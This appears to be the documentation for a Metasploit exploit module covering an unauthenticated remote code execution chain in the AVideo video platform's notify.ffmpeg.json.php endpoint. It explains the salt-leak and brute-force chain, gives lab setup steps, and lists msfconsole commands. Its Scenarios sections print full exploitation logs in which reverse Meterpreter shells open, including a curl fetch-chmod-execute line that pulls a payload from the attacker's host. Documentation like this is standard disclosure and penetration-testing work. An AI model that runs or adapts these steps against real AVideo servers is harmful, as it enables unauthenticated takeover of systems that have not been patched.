## Vulnerable Application

This module exploits an unauthenticated remote code execution vulnerability in AVideo's
`notify.ffmpeg.json.php` endpoint.

**CVE IDs:** CVE-2025-34433 (RCE), CVE-2025-34441 (hashId leak), CVE-2025-34442 (path leak)

**Affected Versions:** AVideo 14.3.1 through 20.0 (and later until properly patched)

**Note on v20.0:** The vendor's "security fix" in v20.0 only partially addressed the issue:
- Fixed: Removed `posterPortraitPath` leak from API responses
- NOT fixed: Timestamp leak (`/objects/categories.json.php`)
- NOT fixed: `hashId` leak (still exposed in API)
- NOT fixed: `eval($callback)` in `notify.ffmpeg.json.php`
- NOT fixed: Legacy salt fallback in `encrypt_decrypt()`

The exploit remains functional on v20.0 by bruteforcing the `SYSTEM_ROOT` path.

### Vulnerability Overview

This vulnerability chains together multiple weaknesses to achieve unauthenticated RCE:

1. **Weak Salt Generation**: During installation, AVideo generates an encryption salt using
   PHP's `uniqid()` function, which is not cryptographically secure. The `uniqid()` output
   consists of:
   - Unix timestamp in hexadecimal (8 characters) - predictable if installation time is known
   - Microseconds in hexadecimal (5 characters) - only 1,048,576 possible values

2. **Information Disclosure - Installation Timestamp**: The installation timestamp can be
   leaked from the public endpoint `/objects/categories.json.php`, which exposes the
   `created` timestamp of the default category (ID 1) that matches the installation time.

3. **Information Disclosure - Video hashId**: The encrypted video `hashId` is exposed in
   public API endpoints like `/objects/videosAndroid.json.php` or
   `/plugin/API/get.json.php?APIName=video`. The `hashId` is computed as `AES-128-CBC` or
   `RC4(base_convert(video_id, 10, 32), md5(salt))`.

4. **Offline Salt Bruteforce**: With the leaked timestamp (first 8 chars of salt) and a
   leaked `hashId`, an attacker can bruteforce the remaining 5 characters (microseconds)
   offline by testing all 1,048,576 possible values until the computed `hashId` matches the
   leaked one.

5. **Remote Code Execution**: Once the salt is discovered, the attacker can craft encrypted
   payloads for the `notify.ffmpeg.json.php` endpoint, which uses `eval($callback)` to
   execute arbitrary PHP code without authentication.

The entire attack can be performed without any authentication and typically completes in under 10 seconds.

### Setup

1. Clone the AVideo repository and checkout the vulnerable commit:

```bash
cd /tmp
git clone https://github.com/WWBN/AVideo.git
cd AVideo
git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4
```

2. Create a `.env` file with the following configuration (to avoid TLS certificate issues):

```bash
cat > .env << EOF
SERVER_NAME=localhost
CREATE_TLS_CERTIFICATE=yes
DB_MYSQL_HOST=database
DB_MYSQL_PORT=3306
DB_MYSQL_NAME=avideo
DB_MYSQL_USER=avideo
DB_MYSQL_PASSWORD=avideo
HTTP_PORT=80
HTTPS_PORT=9443
NETWORK_SUBNET=172.99.0.0/16
EOF
```

3. Fix MariaDB corrupted tc.log issue (required for first-time setup):

The MariaDB container may fail to start with the error "Bad magic header in tc log" if the
data directory has incorrect permissions or was previously corrupted. To prevent this issue,
apply the following fix before starting the containers:

```bash
# Create entrypoint script to automatically fix corrupted tc.log
cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF'
#!/bin/bash
set -e

# Fix corrupted tc.log file issue
# This file can become corrupted if MariaDB was previously started with incorrect permissions
# Removing it allows MariaDB to recreate it properly on startup
if [ -f /var/lib/mysql/tc.log ]; then
    # Check if the file has the correct magic header (first 4 bytes should be 01 00 00 00)
    # If not, it's corrupted and should be removed
    MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "")
    if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then
        echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)"
        rm -f /var/lib/mysql/tc.log
    fi
fi
SCRIPTEOF
chmod +x deploy/docker-entrypoint-mariadb

# Update Dockerfile.mariadb to integrate the fix into the original entrypoint
cat >> Dockerfile.mariadb << 'DOCKERFILEEOF'

# Copy entrypoint script to fix corrupted tc.log issue
# This fixes the "Bad magic header in tc log" error that can occur
# when MariaDB data directory has incorrect permissions or was corrupted
COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb
RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb

# Modify the original entrypoint to call our fix script at the beginning
# This ensures the fix runs before MariaDB initialization
RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh
DOCKERFILEEOF

# Rebuild the database images to apply the fix
docker compose build database database_encoder
```

4. Start the Docker Compose environment:

```bash
docker compose up -d
```

**Note:** If you encounter the "Bad magic header in tc log" error after starting, you can
manually fix it by removing the corrupted file:

```bash
docker compose down
docker run --rm -v "$(pwd)/.compose/db:/var/lib/mysql" mariadb:latest sh -c "rm -f /var/lib/mysql/tc.log"
docker run --rm -v "$(pwd)/.compose/db_encoder:/var/lib/mysql" mariadb:latest sh -c "rm -f /var/lib/mysql/tc.log"
docker compose up -d
```

**Note:** If the web server is running but not serving pages (redirects or connection issues),
the `webSiteRootURL` in AVideo's configuration may be incorrect. You can manually fix it by
editing `/var/www/html/AVideo/videos/configuration.php` inside the container and updating
the `webSiteRootURL` value to `http://localhost/`. You can access the file by:

```bash
docker compose exec avideo sh
# Then edit /var/www/html/AVideo/videos/configuration.php with any available editor
# Or copy the file out, edit it, and copy it back
docker compose restart avideo
```

5. Wait for the services to be ready and access the application at `http://localhost`.
   Complete the installation wizard. The installation process will generate the vulnerable
   salt using PHP's `uniqid()` function.

6. Create a test video (required for hashId leak). Either upload a video via the web
   interface, or create one via Docker:

Create video file:

```bash
docker compose exec -T avideo bash -c '
mkdir -p /var/www/html/AVideo/videos/testvideo
ffmpeg -f lavfi -i testsrc=duration=5:size=320x240:rate=30 \
  -f lavfi -i sine=frequency=1000:duration=5 \
  -c:v libx264 -c:a aac -shortest \
  /var/www/html/AVideo/videos/testvideo/testvideo.mp4 2>/dev/null
chown -R www-data:www-data /var/www/html/AVideo/videos/testvideo
'
```

Insert video in database:

```bash
docker compose exec -T database mariadb -uavideo -pavideo avideo -e "
INSERT INTO videos (title, clean_title, description, status, created, modified,
  users_id, categories_id, filename, duration, type)
VALUES ('Test Video', 'test-video', 'Test', 'a', NOW(), NOW(), 1, 1,
  'testvideo', '00:00:05', 'video');
"
```

**Note:** The vulnerability requires commit `48b97ad126` (introduced January 7, 2025) or
later. This commit introduced the `notify.ffmpeg.json.php` endpoint with `eval($callback)`.
The tested commit hash is `596df4e5b0597c9806da76ebec5bbe3b305953e4`. Versions 14.3.1+ are
affected.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/multi/http/avideo_notify_ffmpeg_unauth_rce`
3. `set RHOSTS <target_ip>`
4. `set RPORT <target_port>` (default: 80)
5. `set LHOST <your_ip>` (for reverse shell)
6. `set LPORT <your_port>` (default: 4444)
7. `set TARGET <target_id>` (1 for PHP, 2 for Unix, 3 for Windows)
8. `set PAYLOAD <payload>` (see Scenarios for tested payloads)
9. `exploit`
10. **Verify** that you get a Meterpreter session

## Options

### SALT

Known salt value (skips bruteforce). Default: empty (bruteforce will be performed)

### SYSTEM_ROOT

System root path used as fallback if leak fails (v20.0+ removed the path leak). Default: `/var/www/html/AVideo/`

## Scenarios

### PHP Target with php/meterpreter/reverse_tcp

This scenario demonstrates exploitation against AVideo 18.1 running on Linux with PHP target (tested with `php/meterpreter/reverse_tcp`):

```
msf > use exploit/multi/http/avideo_notify_ffmpeg_unauth_rce
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set RHOSTS localhost
RHOSTS => localhost
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set RPORT 80
RPORT => 80
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set LPORT 4445
LPORT => 4445
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set TARGET 0
TARGET => 0
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Gathering target information...
[*] Detected AVideo version: 18.1
[*] Leaking installation timestamp...
[*] Server timezones: system=Africa/Abidjan, db=UTC
[+] Installation timestamp: 2025-12-13 19:02:06 -> 693db82e
[*] Leaking video hashId...
[+] Video ID=13, hashId=CofHhulkbEEkVUadZqmZLg (AES-128-CBC)
[+] The target appears to be vulnerable. Vulnerable version 18.1 detected
[*] Leaking system root path...
[+] System root path leaked: /var/www/html/AVideo/
[*] Bruteforcing salt (AES-128-CBC)...
[+] Salt found: 693db82ecfc9a (in 4.86s)
[*] Executing payload...
[*] Sending stage (41224 bytes) to 172.99.0.5
[*] Meterpreter session 4 opened (172.17.0.1:4445 -> 172.99.0.5:49650) at 2025-12-14 22:48:52 +0100

meterpreter > sysinfo
Computer        : 820bb1a04d2e
OS              : Linux 820bb1a04d2e 6.14.0-116036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Wed Nov 12 16:30:21 UTC 2025 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux

meterpreter >
```

### Unix Target with cmd/linux/http/x64/meterpreter_reverse_tcp

This scenario demonstrates exploitation against AVideo 18.1 running on Linux with Unix
target using `cmd/linux/http/x64/meterpreter_reverse_tcp`:

```
msf > use exploit/multi/http/avideo_notify_ffmpeg_unauth_rce
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set RHOSTS localhost
RHOSTS => localhost
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set RPORT 80
RPORT => 80
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set LPORT 4445
LPORT => 4445
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set TARGET 2
TARGET => 2
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/avideo_notify_ffmpeg_unauth_rce) > exploit
[*] Command to run on remote host: curl -so ./stEEtIlUtXKJ http://172.17.0.1:6666/hLwqIBAdBGzwz7ANF6q5Tw;chmod +x ./stEEtIlUtXKJ;./stEEtIlUtXKJ&
[*] Fetch handler listening on 172.17.0.1:6666
[*] HTTP server started
[*] Adding resource /hLwqIBAdBGzwz7ANF6q5Tw
[*] Started reverse TCP handler on 172.17.0.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Gathering target information...
[*] Detected AVideo version: 18.1
[*] Leaking installation timestamp...
[*] Server timezones: system=Africa/Abidjan, db=UTC
[+] Installation timestamp: 2025-12-13 19:02:06 -> 693db82e
[*] Leaking video hashId...
[+] Video ID=13, hashId=CofHhulkbEEkVUadZqmZLg (AES-128-CBC)
[+] The target appears to be vulnerable. Vulnerable version 18.1 detected
[*] Leaking system root path...
[+] System root path leaked: /var/www/html/AVideo/
[*] Bruteforcing salt (AES-128-CBC)...
[+] Salt found: 693db82ecfc9a (in 3.68s)
[*] Executing payload...
[*] Client 172.99.0.5 requested /hLwqIBAdBGzwz7ANF6q5Tw
[*] Sending payload to 172.99.0.5 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.99.0.5
[*] Meterpreter session 3 opened (172.17.0.1:4445 -> 172.99.0.5:55264) at 2025-12-14 22:47:04 +0100

meterpreter > sysinfo
Computer     : 172.99.0.5
OS           : Ubuntu 24.04 (Linux 6.14.0-116036-tuxedo)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

meterpreter >
```

